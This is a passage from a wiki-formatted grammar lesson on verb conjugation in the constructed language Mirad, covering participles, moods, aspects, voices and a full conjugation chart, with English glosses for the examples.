: '''''Note 1:''''' The perfect active particple ending in '''-ya''' is used only for intransitive verbs like '''per''' (''to go'').  '''He is &lt;u&gt;gone&lt;/u&gt;.''' is expressed by '''Wit se &lt;u&gt;pya&lt;/u&gt;'''.
: '''''Note 2:''''' The potential aspect, represented by the vowel '''u''' is much like the conditional in English, but is not considered a tense in Mirad.  For example, '''tojbu''' means ''would kill'' and the participle '''tojbua''' means ''lethal'' (referring to something that ''would/has the potential to kill'').  More about this in a later section.
: '''''Note 3:''''' There is another form of the progressive participle that falls in the lexical, rather than morphological category, in that such forms are listed in the dictionary as adjectives.  For example, in the phrase ''The animals &lt;u&gt;bothering&lt;/u&gt; our bird feeder...'', the participle ''bothering'' would be '''oboxea''' in Mirad.  By inserting the letter '''y''' between the verb stem and the participial ending, the participle becomes an adjective denoting a propensity or habit, as in ''bothersome'' ('''obox&lt;u&gt;y&lt;/u&gt;ea''').  Such participles are invariably in the active voice.  Most such adjectives in English end in ''-ive'' as in ''repulsive'' or ''-ly'' as in ''wiggly'' or ''-ous'' as in ''circuitous.''  Such adjectives in Mirad are listed in the dictionary and end in '''-yea'''.

: Adverbial participles can be made from the above adjectival participles, by suffixing the letter '''y'''.  Examples:
::* '''Iyt yepa ha tim &lt;u&gt;deuzeay&lt;/u&gt;.'''....''She entered the room &lt;u&gt;singing&lt;/u&gt;.''
::* '''&lt;u&gt;Ujbaway&lt;/u&gt; ha dodal, it pia.'''....''The speech &lt;u&gt;having been finished&lt;/u&gt;, he left.''
: Also, the above participles can be converted into abstract nouns by suffixing '''n'''.  Examples:
::* '''tiluwa'''....''drinkable'' &lt;big&gt;→&lt;/big&gt; '''tiluwan'''....''potability''
::* '''tojbua'''....''lethal'' &lt;big&gt;→&lt;/big&gt; '''tojbuan'''....''lethality''
::* '''mansea'''....''shining'' &lt;big&gt;→&lt;/big&gt; '''he &lt;u&gt;mansean&lt;/u&gt; bi iyta deuzen'''....''the &lt;u&gt;brilliance&lt;/u&gt; of her singing''
::* '''aakaxyea'''....''inventive'' &lt;big&gt;→&lt;/big&gt; '''aakaxyean'''....''inventiveness''
: Furthermore, these participles can sometimes be pronominalized with '''s''' for things and '''t''' for people or living things.  These forms can, in turn, be pluralized:

::* '''xwa'''....''done'' &lt;big&gt;→&lt;/big&gt; '''xwas'''....''what is done, a happening''
::* '''xwa'''....''done'' &lt;big&gt;→&lt;/big&gt; '''xwasi'''....''happenings, deeds''
::* '''otwa'''....''unknown'' &lt;big&gt;→&lt;/big&gt; '''otwas'''....''what is not known, a mystery''
::* '''osexea'''....''destroying'' &lt;big&gt;→&lt;/big&gt; '''osexeas'''....''a destroyer''
::* '''tojbua'''....''lethal'' &lt;big&gt;→&lt;/big&gt; '''tojbuas'''....''something lethal, a lethal thing''
::* '''tojboa'''....''moribund'' &lt;big&gt;→&lt;/big&gt; '''tojboati'''....''people about to die, fatal cases''
::* '''tejea'''....''living'' &lt;big&gt;→&lt;/big&gt; '''tejeat'''....''a living person''
::* '''tejea'''....''living'' &lt;big&gt;→&lt;/big&gt; '''tejeasi'''....''living things''
: There is a special tenseless, nominalized, animate participle used for '''''agent''''' nouns (English ''one who does something, Xer'', ''Xant'', ''Xist''), which refers to a person who habitually does some action, perhaps as a profession or trade.  These agent nouns end in '''-ut'''.
::* '''sexut'''....''builder''
::* '''nuut'''....''supplier''
::* '''tojbut'''....''killer''
::* '''ifut'''....''lover''
::* '''akuti'''....''winners''
: Note: There is a slight difference of meaning between the tensed participial pronoun '''ha akeat'''....''the one winning'' and the non-tensed agent noun '''ha akut'''....''the winner''.
: Similarly, there is a special tenseless, nominalized, &lt;u&gt;in&lt;/u&gt;animate participle used for a thing that performs the action denoted by the verb stem.  These agent nouns end in '''-us'''.

::* '''yuxus'''....''aid (a thing that helps)''
::* '''byuxwus'''....''button (a thing that gets touched on the keyboard)''
::* '''paxus'''....''motive (a thing that moves one)''
::* '''jaupus'''....''precedent (a thing that comes before)''
: The above '''-us''' ending contrasts with the endings '''-ar''' (''instrument''), '''-ir''' (''machine''), '''-ur''' (''motor, engine''), which are physical objects and not always suffixed to a verbal root.

== Finite Forms ==
[[File:Auxiliary verbs tree 3.png|thumb|]]
: In Mirad, finite verb forms are those that can take a person subject, serve as a predicate, and be conjugated. Finite verb forms are conjugated by using suffixes indicating, through their presence or absence, the following categories:

&lt;div style=&quot;background: lightyellow;{{text default color}};&quot;&gt;
::* TENSES 
:::# '''''present'''''
:::# '''''past'''''
:::# '''''future'''''
:::# '''''atemporal'''''
::* MOODS
:::# '''''indicative'''''
:::# '''''hypothetical'''''
::* ASPECTS
:::# '''''simple'''''
:::# '''''progressive'''''
:::# '''''perfect'''''
:::# '''''imminent'''''
:::# '''''potential'''''
::* VOICES
:::# '''''active'''''
:::# '''''passive'''''
:::# '''''reflexive'''''
:::# '''''reciprocal'''''
&lt;/div&gt;

: Person and number are not marked on the verb form itself.  For example, ''am'', ''is'', ''are'', which change according to the person subject in English,  are all expressed with the same verb form in Mirad: '''se'''.  Thus, '''at se'''....''I am'', '''et se'''....''you are'', '''it se'''....''he/she/it is'', etc.

=== Moods ===
: There are two moods in Mirad:
::* '''''indicative'''''
::* '''''hypothetical'''''.

===== Indicative Mood =====
: The '''''indicative''''' form of the verb indicates an action or state that occurs in actual time, such as ''he went'', ''he is going'', ''he will go.''

: The indicative mood has three tenses, '''''present''''', '''''past''''', '''''future''''',  indicated by the suffixes '''-e''', '''-a''', and '''-o''', respectively.

===== Hypothetical Mood =====
: Wheras the indicative verb forms expresses actuality in time, the '''''hypothetical mood''''' expresses one of the non-actuality situations below and uses the vowel '''u'''.

::* a command , i.e. the '''''imperative''''' (''Go!'')
::* a wish or suggestion, i.e. the '''''hortative''''' or '''''jussive''''' (''May the king live long!'', ''Let's celebrate!'')
::* an unrealized situation, i.e. the '''''subjunctive''''' (''It is important that you &lt;u&gt;be&lt;/u&gt; early.'')
::* an imagined if-then-situation, i.e. the '''''conditional''''' (''If I &lt;u&gt;were&lt;/u&gt; rich, I &lt;u&gt;would be&lt;/u&gt; happy.'')

=== Aspects ===

: There are five aspects in the Mirad verb system.

&lt;div style=&quot;background: lightyellow;{{text default color}};&quot;&gt;
::* the '''''simple''''' aspect (default), i.e. non-progressive, non-perfect, non-imminent, and non-conditional.
::* the '''''progressive''''' aspect, i.e. an action or state on-going in the particular tense, using '''ey'''
::* the '''''perfective''''' aspect, i.e. an action or state anterior or already completed, using '''ay'''
::* the '''''imminent''''' aspect, i.e. an action or state about to happen, using '''oy'''
::* the '''''potential''''' aspect, i.e. an action potentially happening, using '''uy'''
&lt;/div&gt;
===== The Simple Aspect =====

:: Unless specifically marked, the default aspect is '''''simple''''', i.e. non-progressive, non-perfect, non-imminent, and non-conditional.  Three indicative tenses can be expressed in the simple aspect:
::* Present with '''e'''
::* Past with '''a'''
::* Future with '''o'''. 

:: An atemporal verb ending in '''u''' in the simple aspect is considered hypothetical and expresses three things, depending on how it is used in the sentence:
::* a conditional like ''I would go (if...)''
::* an imperative like ''Go!''
::* a hortative like ''Let's go!''
::* a subjunctive like ''(It is important that) we go.''

:: Here is a chart showing the simple, active voice instantiations of the Mirad verb '''per''' (''to go'')  with the endings underlined:

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:3.2em;&quot;
|+ Simple Active Conjugation of '''Per'''
|-
! Mood !! Tense !! Aspect !! Voice !! Instantiation !! Verb '''per'''
|-
!row=1| Indicative !! Present !! Simple !! Active !!
| '''At p&lt;u&gt;e&lt;/u&gt;'''....''I go''
|-
!row=1| Indicative !! Past !! Simple !! Active !!
| '''At p&lt;u&gt;a&lt;/u&gt;'''....''I went''
|-
!row=1| Indicative !! Future !! Simple !! Active !!
|'''At p&lt;u&gt;o&lt;/u&gt;'''....''I will go''
|-
!row=1 rowspan=4 | Hypothetical
!rowspan=4| Atemporal
!rowspan=4| Simple
!rowspan=4| Active 
! Conditional
|'''At p&lt;u&gt;u&lt;/u&gt;'''....''I would go''
|-
! Hortative/Optative/Jussive
|'''Van yat p&lt;u&gt;u&lt;/u&gt;!'''....''Let's go!''
|-
! Imperative
|'''P&lt;u&gt;u&lt;/u&gt; tam!'''....''Go home!''
|-
! Subjunctive
|'''Se efwa van et p&lt;u&gt;u&lt;/u&gt;.'''....''It is necessary that you go.''
|}

: Note that the last four instantiations are the same tense, but differ in syntax.  For example, if the verb form is hypothetical, atemporal, simple, active and has no subject, it operates as an imperative.

==== The Simple Indicative Present Active Tense ====

:: The simple indicative present instantiation is marked with the vowel suffix '''e''' and has a non-progressive ('''''habitual''''') aspect as in English ''I work'' or ''I live''.  Progressive aspect forms like ''I am studying'' are explained later.

:: Examples:
:::* '''At &lt;u&gt;yexe&lt;/u&gt; be tam.''' ....''I &lt;u&gt;work&lt;/u&gt; at home''.
:::* '''Hia tom &lt;u&gt;se&lt;/u&gt; nam.''' ....''This building &lt;u&gt;is&lt;/u&gt; a store.''
:::* '''Ha amur &lt;u&gt;yuzpe&lt;/u&gt; ha imer.'''....''The moon &lt;u&gt;goes around&lt;/u&gt; the earth.''

==== The Simple Indicative Past Active Tense ====
: The simple indicative past tense instantiation is marked with the vowel suffix '''a''' and has a non-progressive (punctual) meaning as in English ''I did something at some particular point in time''.  The simple past contrasts in aspect with the past progressive (''I was doing something'') or the present perfect (''I have done something''), or past potential (''I would have done something'').  The simple past is punctual, that is, it describes an event that occurred at a particular point in time.
: Examples:
::* '''Iyt &lt;u&gt;iba&lt;/u&gt; ha nyuf zojub.''' ....''She &lt;u&gt;received&lt;/u&gt; the package yesterday.''
::* '''At &lt;u&gt;ujba&lt;/u&gt; ha dyes ji iwa jwobi.''' ....''I &lt;u&gt;finished&lt;/u&gt; the book three hours ago.''
::* '''His &lt;u&gt;kyesa&lt;/u&gt; exag hijub.'''....''This &lt;u&gt;happened&lt;/u&gt; twice today.''

==== The Simple Indicative Future Active Tense ====

: The simple indicative future tense is marked with the vowel suffix '''o''' and has the same meaning as in English ''I will do something at some particular point in the future''.

: Examples: 
::* '''Yit &lt;u&gt;tadso&lt;/u&gt; zajab.'''....''They &lt;u&gt;are going to get married&lt;/u&gt; next year.''
::* '''Hua kaxon &lt;u&gt;ujako&lt;/u&gt;.''' ....''That solution &lt;u&gt;will work&lt;/u&gt;.''
::* '''At &lt;u&gt;so&lt;/u&gt; him hoj et &lt;u&gt;upo&lt;/u&gt;.'''....''I &lt;u&gt;will be&lt;/u&gt; here when you &lt;u&gt;(will) come.&lt;/u&gt;&lt;sup&gt;1&lt;/sup&gt;''
:: Note 1: Unlike in English,  Mirad does not use the present tense for a real future.  There is also no sequence of tenses in Mirad (such as, ''He said he was coming.''.  In Mirad, this would be expressed as ''He said he &lt;u&gt;will&lt;/u&gt; come.'').

==== The Simple Hypothetical Atemporal Active Tense ====

: A verb form ending in '''u''' like '''pu''' has no time value and is used to express unreal actions or states, such as the '''''imperative''''', '''''hortative''''', '''''conditional''''', or '''''subjunctive'''''.
: Examples:
::* '''&lt;u&gt;Upu&lt;/u&gt; him!'''....''&lt;u&gt;Come&lt;/u&gt; here!'' ('''''imperative''''')
::* '''&lt;u&gt;Von upu&lt;/u&gt;!''' ....''&lt;u&gt;Don't come&lt;/u&gt;!'' ('''''negative imperative''''')
::* '''Ha edeb &lt;u&gt;fu&lt;/u&gt; teater et.''' ....''The king &lt;u&gt;would like&lt;/u&gt; to see you.'' ('''''conditional''''')
::* '''Ven at &lt;u&gt;su&lt;/u&gt; et, at &lt;u&gt;dolu&lt;/u&gt;.''' ....''If I &lt;u&gt;were&lt;/u&gt; you, I &lt;u&gt;would be&lt;/u&gt; quiet.'' ('''''conditional''''')
::* '''Van yeyt &lt;u&gt;ujaku&lt;/u&gt; be yeyta yexneadi.''' ....''May all you (women) &lt;u&gt;succeed&lt;/u&gt; in your careers.'' ('''''hortative''''')
::* '''Van yat &lt;u&gt;ijbu&lt;/u&gt; bay fyadil.''' ....''Let's &lt;u&gt;begin&lt;/u&gt; with a prayer.'' ('''''jussive''''')
::* '''Se kyitesa &lt;u&gt;van et puu&lt;/u&gt; jwa.''' ....''It's important &lt;u&gt;that you arrive&lt;/u&gt; early.'' ('''''subjunctive''''')
::* '''Se kyitesa &lt;u&gt;von et puu&lt;/u&gt; jwo.'''....''It's important &lt;u&gt;that you not arrive&lt;/u&gt; late.'' ('''''negative subjunctive''''')
: Hypothetical verb forms ending in '''-u''' can be interpreted in various ways, depending on the following syntactical patterns in the sentence:
::* Generally, if a verb form ending in '''-u''' begins a sentence and has no subject, then it is an IMPERATIVE (a command).  For example, '''Ipu!''', ''Go away!''.
::* If the verb form has a subject not preceded by the complementizers '''van''', '''ven''', or '''von''', then it is probably a conditional predicate like '''At fu per.'''....''I &lt;u&gt;would like&lt;/u&gt; to go.''.
::* If the subject of the verb is preceded by '''ven'''....''if'', then it is a conditional clause as in '''Ven at &lt;u&gt;su&lt;/u&gt; nasikat...'''....''If I &lt;u&gt;were&lt;/u&gt; a rich man.''.
::* If the subject is preceded by '''Van'''....''that/let/may'' or '''von'''....''don't'', then it is a hortative wish like '''Van et yagteju.'''....''May you live long.'' or a jussive suggestion like '''Van yat fyadilu.'''....''Let us pray.'' or a prohibition like '''Von tiliu his!'''....''Don't drink this!''.

=== Voices ===

: Mirad has four voices:
::* Active
::* Passive
::* Reflexive
::* Reciprocal.

==== Active Voice ====
: The default voice is active, i.e. the subject of the verb is doing the action.
::* '''At teata ha kyes.'''....''I saw the event.''

==== Passive Voice ====
: A verb form is converted from active to passive by inserting a '''w''' just after the stem of the verb form.  The past passive particle ending '''-waa''' is usually abbreviated to '''-wa''' (''done'' is '''xwa''').
: The following chart shows the distinction between active and passive voice of various verbs:
:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:4.8em&quot;
|+ Contrasting Active and Passive Voice
! Verb Form !! Active !! Active&lt;br&gt;Example !! Passive !! Passive&lt;br&gt;Example
|-
!row=1| Infinitive 
| '''xer'''&lt;br&gt;''to do'' || '''At fe xer fi.'''&lt;br&gt;''I want to do well.'' || '''xwer'''&lt;br&gt;''to be done'' || '''Ese hyos xwer.'''&lt;br&gt;''There is nothing to be done.''
|-
!row=1| Present Participle 
| '''sexea'''&lt;br&gt;''constructing'' || '''Ha nunxob sexea hia tom...'''&lt;br&gt;''The firm constructing this building...''|| '''sexewa'''&lt;br&gt;''being constructed'' || '''His se sexewa.'''&lt;br&gt;''This is under construction.''
|-
!row=1| Present
| '''xe'''&lt;br&gt;''do/does'' ||'''At xe fi be tixam.'''&lt;br&gt;''I do well in school.'' || '''xwe'''&lt;br&gt;''is done'' || '''Huyenasi hoj xwe.'''&lt;br&gt;''Such things are never done.''
|-
!row=1| Past Participle
| '''xaa'''&lt;br&gt;''having done'' || '''Iyt, xaa hya iyta yex,...'''&lt;br&gt;''She, having done all her work,...'' ||'''xwa'''&lt;br&gt;''done'' || '''Hyas se xwa.'''&lt;br&gt;''Everything is done.''
|-
!row=1| Past 
| '''tojba'''&lt;br&gt;''killed'' || '''Duhot tojba hwut?'''&lt;br&gt;''Who killed that guy?'' || '''tojbwa'''&lt;br&gt;''was killed'' || '''Duhoj wit tojbwa?'''&lt;br&gt;''When was he killed?''
|-
!row=1| Hypothetical
| '''bakxu'''&lt;br&gt;''heal''   || '''Bakxu at!'''&lt;br&gt;''Heal me!'' || '''bakxwu'''&lt;br&gt;''be healed'' || '''Van iyt bakxwu.'''&lt;br&gt;''May she be healed.''
|}
: Intransitive verbs cannot be made passive.  For example, '''tajer'''....''to be born'' is intransitive (takes no object) and has no passive voice form.  However, the transitive verb '''tajber'''....''to bear, give birth'' can be passive, as in '''Ha tudet &lt;u&gt;tajbwa&lt;/u&gt; zajub.'''....''The child &lt;u&gt;was delivered&lt;/u&gt; yesterday'' (as opposed to '''Ha tudet &lt;u&gt;taja&lt;/u&gt; zajub.'''....''The child &lt;u&gt;was born&lt;/u&gt; yesterday.)''  Notice how this works with '''yijer''' (''to open''):
::* '''Ha mes yija.'''....''The door opened (by itself).'' (medio-passive)
::* '''Ha mes yijpa.'''....''The door came open.'' (dynamic medio-passive)
::* '''Yijbu ha mes.'''....''Open the door.'' (transitive active)
::* '''Ha mes yijbwa.'''....''The door was opened (by someone).'' (passive)
: Impassive verbs form their past particple with the ending '''ya''', but these forms are somewhat rare.  Here are some examples:
::* '''per'''....''to go'' -&gt; '''pya'''....''gone''
::* '''tajer'''....''to be born'' -&gt; '''tajya'''....''born'' (ex.'''Jesus tajya bi Marya.''''....''Jesus, born of Mary'')
::* '''tojer'''....''to die'' -&gt; '''tojya'''....''dead''
::* '''loteaser'''....''to disappear'' -&gt; '''loteasya'''....''disappeared'' (ex. '''Ha loteasya tobi be Arogem.'''....''the disappeared persons in Argentina.'')

==== Reflexive Voice ====
: A verb is made reflexive by prefixing the reflexive pronoun '''ut''' (''self''), for example:

::* '''tojber'''....''to kill'' &lt;big&gt;→&lt;/big&gt; '''uttojber'''....''to kill oneself''
::* '''vyilxer'''....''to wash'' &lt;big&gt;→&lt;/big&gt; '''utvyilxer'''....''to wash up''
::* '''teater'''....''to see'' &lt;big&gt;→&lt;/big&gt; '''utteater'''....''to see oneself''
::* '''yabler'''....''to lift'' &lt;big&gt;→&lt;/big&gt; '''utyabler'''....''to lift oneself'' → '''Utyablu!'''....''Lift yourself up!''
::* '''trer'''....''to know'' &lt;big&gt;→&lt;/big&gt; '''uttrer'''....''to know oneself'' → '''Uttru!'''....''Know thyself!''

==== Reciprocal Voice ====

: A verb is made reciprocal by prefixing the reciprocal pronoun '''hyuit'''....''one another'', for example:

::* '''tojber'''....''to kill'' &lt;big&gt;→&lt;/big&gt; '''hyuittojber'''....''to kill one another''
::* '''vyilxer'''....''to wash'' &lt;big&gt;→&lt;/big&gt; '''hyuitvyilxer'''....''to wash one another''
::* '''teater'''....''to see'' &lt;big&gt;→&lt;/big&gt; '''hyuitteater'''....''to see one another''

: Both the reflexive pronoun and reciprocal pronoun can be used as standalone objects.  However, the plural form '''yut''' is used if the subject is plural, for example:

::* '''Yit vyilxa &lt;u&gt;yut&lt;/u&gt;.'''....''They (f.) washed up. (= washed &lt;u&gt;selves&lt;/u&gt;).''
::* '''Ha twobeti dizeuda &lt;u&gt;hyuit&lt;/u&gt;.'''....''The boys laughed at &lt;u&gt;one another&lt;/u&gt;.''
: The word '''hyuit''' is a hybrid of '''hyit'''....''the same one'' combined with '''hyut'''....''the other one''.

==== Aspects Revisited ====

: Mirad verbs have the following aspects:

::* '''''Simple''''' -- this is the default aspect, shown above, i.e. non-progressive, non-perfect, non-imminent, and non-potential.
::* '''''Progressive''''' -- this is an aspect where the verb describes an on-going action or state spread over time.
::* '''''Perfect''''' -- this presents the action or state as anterior, or completed prior to another action or state.
::* '''''Immininent''''' -- this describes an action or state ''about to happen.''
::* '''''Potential''''' -- this refers to an action or state where something is ''possible''.

==== The Simple Aspect ====

: The following chart presents Mirad verbs in the Simple aspect.  In the active voice, the tense vowels '''a''', '''e''', '''o''', and '''u''' are affixed to the stem.  In the passive voice, the passive marker consonant '''w''' is inserted between the stem and the final tense vowels.  The simple present tense refers to actions or states that are habitual (''I regularly go to school.''), regular (''The earth revolves around the sun.''), or permanent (''Blue is a color.'').  The simple past refers to actions or states that occurred at a fixed point in time (''I did my homework last night.'').  The simple future refers to actions or states that will occur at some particular point in the future (''The sun will rise tomorrow at dawn.'').  The simple atemporal hypothetical ( = conditional) refers to an imagined action or state that has not be realized (''You would make a good president.'').
:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{Text default color}};font-size:smaller;&quot;
|+ Simple Aspect
|-
! Aspect !! Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Simple !! Present !! Indicative 
| '''At x&lt;u&gt;e&lt;/u&gt;'''....''I do'' || '''Has x&lt;u&gt;we&lt;/u&gt;'''....''It is done''
|-
!row=1| Simple !! Past !! Indicative 
| '''At x&lt;u&gt;a&lt;/u&gt;'''....''I did'' || '''Has x&lt;u&gt;wa&lt;/u&gt;'''....''It was done''
|-
!row=1| Simple !! Future !! Indicative 
| '''At x&lt;u&gt;o&lt;/u&gt;'''....''I will do'' || '''Has x&lt;u&gt;wo&lt;/u&gt;'''....''It will be done''
|-
!row=1| Simple !! Atemporal !! Hypothetical 
| '''At x&lt;u&gt;u&lt;/u&gt;'''....''I would do''&lt;sup&gt;1&lt;/sup&gt; || '''Has x&lt;u&gt;wu&lt;/u&gt;'''....''It would be done''
|}
: 1: Absence of tense (Atemporal) + Hypothetical mood = '''''conditional'''''.

==== The Progressive Aspect ====

: The following chart presents Mirad verbs in the Progressive aspect.  The present tense vowel '''e''' followed by a buffer consonant, are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the active voice, or  '''w''' in the passive voice.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller; &quot;
|+ Progressive Aspect
|-
! Aspect !! Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Progressive !! Present !! Indicative 
| '''at x&lt;u&gt;eye&lt;/u&gt;'''....''I am doing'' || '''Has x&lt;u&gt;ewe&lt;/u&gt;'''....''it is being done''
|-
!row=1| Progressive !! Past !! Indicative 
| '''at x&lt;u&gt;eya&lt;/u&gt;'''....''I was doing'' || '''Has x&lt;u&gt;ewa&lt;/u&gt;'''....''it was being done''
|-
!row=1| Progressive !! Future !! Indicative 
| '''at x&lt;u&gt;eyo&lt;/u&gt;'''....''I am going to be doing'' || '''Has x&lt;u&gt;ewo&lt;/u&gt;'''....''it will be happening''
|-
!row=1| Progressive !! Atemporal !! Hypothetical 
| '''at x&lt;u&gt;eyu&lt;/u&gt;'''....''I would be doing'' || '''Has x&lt;u&gt;ewu&lt;/u&gt;'''....''it would be happening''
|}

==== The Perfect Aspect ====

: The following chart presents Mirad verbs in the Perfect aspect.  The past tense vowel '''a''' following by a buffer consonant are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the  active voice, or '''w''' in the passive voice.   

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Perfect Aspect
|-
! Aspect !! Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Perfect !! Present !! Indicative 
| '''At x&lt;u&gt;aye&lt;/u&gt;'''....''I have done'' || '''Has x&lt;u&gt;awe&lt;/u&gt;'''....''It has been done''
|-
!row=1| Perfect !! Past !! Indicative 
| '''At x&lt;u&gt;aya&lt;/u&gt;'''....''I had done'' || '''Has x&lt;u&gt;awa&lt;/u&gt;'''....''It had been done''
|-
!row=1| Perfect !! Future !! Indicative 
|'''At x&lt;u&gt;ayo&lt;/u&gt;'''....''I will have done'' || '''Has x&lt;u&gt;awo&lt;/u&gt;'''....''It will have been done''
|-
!row=1| Perfect !! Atemporal !! Hypothetical 
| '''At x&lt;u&gt;ayu&lt;/u&gt;'''....''I would have done'' || '''Has x&lt;u&gt;awu&lt;/u&gt;'''....''It would have been done''
|}

==== The Imminent Aspect ====

: The following chart presents Mirad verbs in the Imminent aspect (sometimes referred to as the Prospective aspect).  The future tense vowel '''o''' following by a buffer consonant are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the  active voice, or '''w''' in the passive voice. Not that only indicative mood imminent tenses are ever used.  

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Imminent Aspect
|-
! Aspect || Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Imminent !! Present !! Indicative 
| '''At x&lt;u&gt;oye&lt;/u&gt;'''....''I am about to do'' || '''Has x&lt;u&gt;owe&lt;/u&gt;'''....''It is about to be done''
|-
!row=1| Imminent !! Past !! Indicative 
| '''At x&lt;u&gt;oya&lt;/u&gt;'''....''I was about to do'' || '''Has x&lt;u&gt;owa&lt;/u&gt;'''....''It was about to be done''
|}

==== The Potential Aspect ====

: The following chart presents Mirad verbs in the Potential aspect.  The hypothetical vowel '''u''' followed by a buffer consonant are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the  active voice, or '''w''' in the passive voice. The future potential and hypothetical potential aspects are never used. 

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Potential Aspect
|-
! ASPECT !! TENSE !! MOOD !! ACTIVE VOICE !! PASSIVE VOICE
|-
!row=1| Potential !! Present !! Indicative 
| '''At x&lt;u&gt;uye&lt;/u&gt;'''....''I am to do'' || '''Has x&lt;u&gt;uwe&lt;/u&gt;'''....''It is to be done, it is doable''
|-
!row=1| Potential !! Past !! Indicative 
| '''At x&lt;u&gt;uya&lt;/u&gt;'''....''I was to do'' || '''Has x&lt;u&gt;uwa&lt;/u&gt;'''....''It was to be done, it was doable''
|}

== Verb Conjugation Chart ==

: The following chart presents the totality of the Mirad affirmative verb conjugation system using the verb '''xer'''....''to do'' and its passive '''xwer'''....''to be done, happen''.  The rows beginning with a light blue background are finite forms, while those beginning with light green are non-finite forms.

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Verb Conjugation Chart
|- valign=top
!rowspan=2| State !!rowspan=2| Mood !!rowspan=2| Aspect !!rowspan=2| Tense !! colspan=4|Voice
|-
! Active!!Passive
|-
! rowspan=16 style=&quot;background: lightblue;{{text default color}};&quot;|Finite !!rowspan=3| Indicative !!rowspan=4| Simple !! Present
| '''xe''' &lt;br&gt;''does''||'''xwe'''&lt;br&gt;''is done, happens''
|-
! Past
| '''xa''' &lt;br&gt;''did''||'''xwa'''&lt;br&gt;''was done, happened''
|-
!  Future
| '''xo''' &lt;br&gt;''will do''||'''xwo'''&lt;br&gt;''will be done, will happen''
|-
! Hypothetical|| 
| '''xu''' &lt;br&gt;''would do, do!''||'''xwu'''&lt;br&gt;''would be done, would happen, be done!''
|-
!rowspan=3| Indicative !!rowspan=4| Progressive !! Present 
| '''xeye'''&lt;br&gt;''is doing''||'''xewe'''&lt;br&gt;''is being done, is happening''
|-
!  Past 
| '''xeya''' &lt;br&gt;''was doing''||'''xewa'''&lt;br&gt;''was doing, was happening''
|-
!  Future 
| '''xeyo'''&lt;br&gt;''will be doing''||'''xewo'''&lt;br&gt;''will be happening''
|-
! Hypothetical|| 
| '''xeyu''' &lt;br&gt;''would be doing''&lt;br&gt;''be doing!''||'''xewu'''&lt;br&gt;''would be happening''
|-
!rowspan=3|Indicative !! rowspan=4| Perfect !! Present
| '''xaye''' &lt;br&gt;''has done''||'''xawe''' &lt;br&gt;''has been done, has happened''
|-
!   Past 
| '''xaya''' &lt;br&gt;''had done''||'''xawa'''&lt;br&gt;''had been done, had happened''
|-
!  Future 
| '''xayo''' &lt;br&gt;''will have done''||'''xawo''' &lt;br&gt;''will have been done, will have happened''
|-
! Hypothetical !! 
| '''xayu''' &lt;br&gt;''would have done''||'''xawu'''&lt;br&gt;''would have been done, would have happened''
|-
!rowspan=4| Indicative !! rowspan=2|Imminent !! Present
| '''xoye''' &lt;br&gt;''is about to do''||'''xowe'''&lt;br&gt;''is about to be done, is about to happen''
|-
! Past
| '''xoya'''&lt;br&gt;''was to be done'' ||'''xowa'''&lt;br&gt;''was to be done, was to happen''
|-
! rowspan=2|Potential !! Present
| '''xuye'''&lt;br&gt;''is supposed to do'' ||'''xuwe''' &lt;br&gt;''is supposed to happen''
|-
!  Past
| '''xuya''' &lt;br&gt;''was supposed to do''||'''xuwa'''&lt;br&gt;''was supposed to be done, was supposed to happen''
|-
! colspan=6 style=&quot;background: black;color:white;&quot;|
|-
! rowspan=2 style=&quot;background: lightgreen;{{Text default color}};&quot;|Infinitive !!  !! Simple !! rowspan=8|
| '''xer'''&lt;br&gt;''to do''||'''xwer'''&lt;br&gt;''to be done, to happen''
|-
! !! Perfect 
| '''xayer'''&lt;br&gt;''to have done''||'''xawer'''&lt;br&gt;''to have been done, to have happend''
|-
! colspan=6 style=&quot;background: black;color:white;&quot;|
|-
! rowspan=4 style=&quot;background: lightgreen;{{Text default color}};&quot;|Participle !! !! Progressive
| '''xea'''&lt;br&gt;''doing'' ||'''xewa'''&lt;br&gt;''being done, happening''
|-
!  !! Perfect
| '''xya''' &lt;br&gt;''having done''||'''xwa'''&lt;br&gt;''done, happened''
|-
!  !! Imminent
| '''xoa''' &lt;br&gt;''about to do''||'''xowa'''&lt;br&gt;''about to happen''
|-
!  !! Potential
| '''xua'''&lt;br&gt;''bound to do'' ||'''xuwa'''&lt;br&gt;''doable''
|-
! colspan=6 style=&quot;background: black;color:white;&quot;|
|-
!rowspan=2 style=&quot;background: lightgreen;{{Text default color}};&quot; |Gerund
!  !! Simple !!
| '''xen''' &lt;br&gt;''doing''||'''xwen''' &lt;br&gt;''being done, happening, event''
|-
!  !! Perfect !!
| '''xayen'''&lt;br&gt;''having done''||'''xawen'''&lt;br&gt;''having happened''
|}
: Note 1:  Intransitive verbs such as '''per''' ''to go'' have no passive forms.  An expression such as ''They are gone.'' would be translated as '''Yit se pya'''.

== Negative Forms ==
: All of the above verb forms are affirmative.  The indicative and conditional forms can be made negative by using the negative adverb '''voy''' (''not'', '' 'nt'', ''doesn't'', ''don't'').  Those forms that are subjunctive, jussive, or imperative ending in '''-u''' use the negative subordinate conjunction '''von''' (''don't'', ''let not'', ''lest''). 
: '''voy'''....''not'' 
::* '''At &lt;u&gt;voy&lt;/u&gt; te.'''....''I &lt;u&gt;don&lt;/u&gt;'t know.'' (indicative)
::* '''&lt;u&gt;Voy&lt;/u&gt; mamilo.'''....''It will &lt;u&gt;not&lt;/u&gt; rain.'' (indicative)
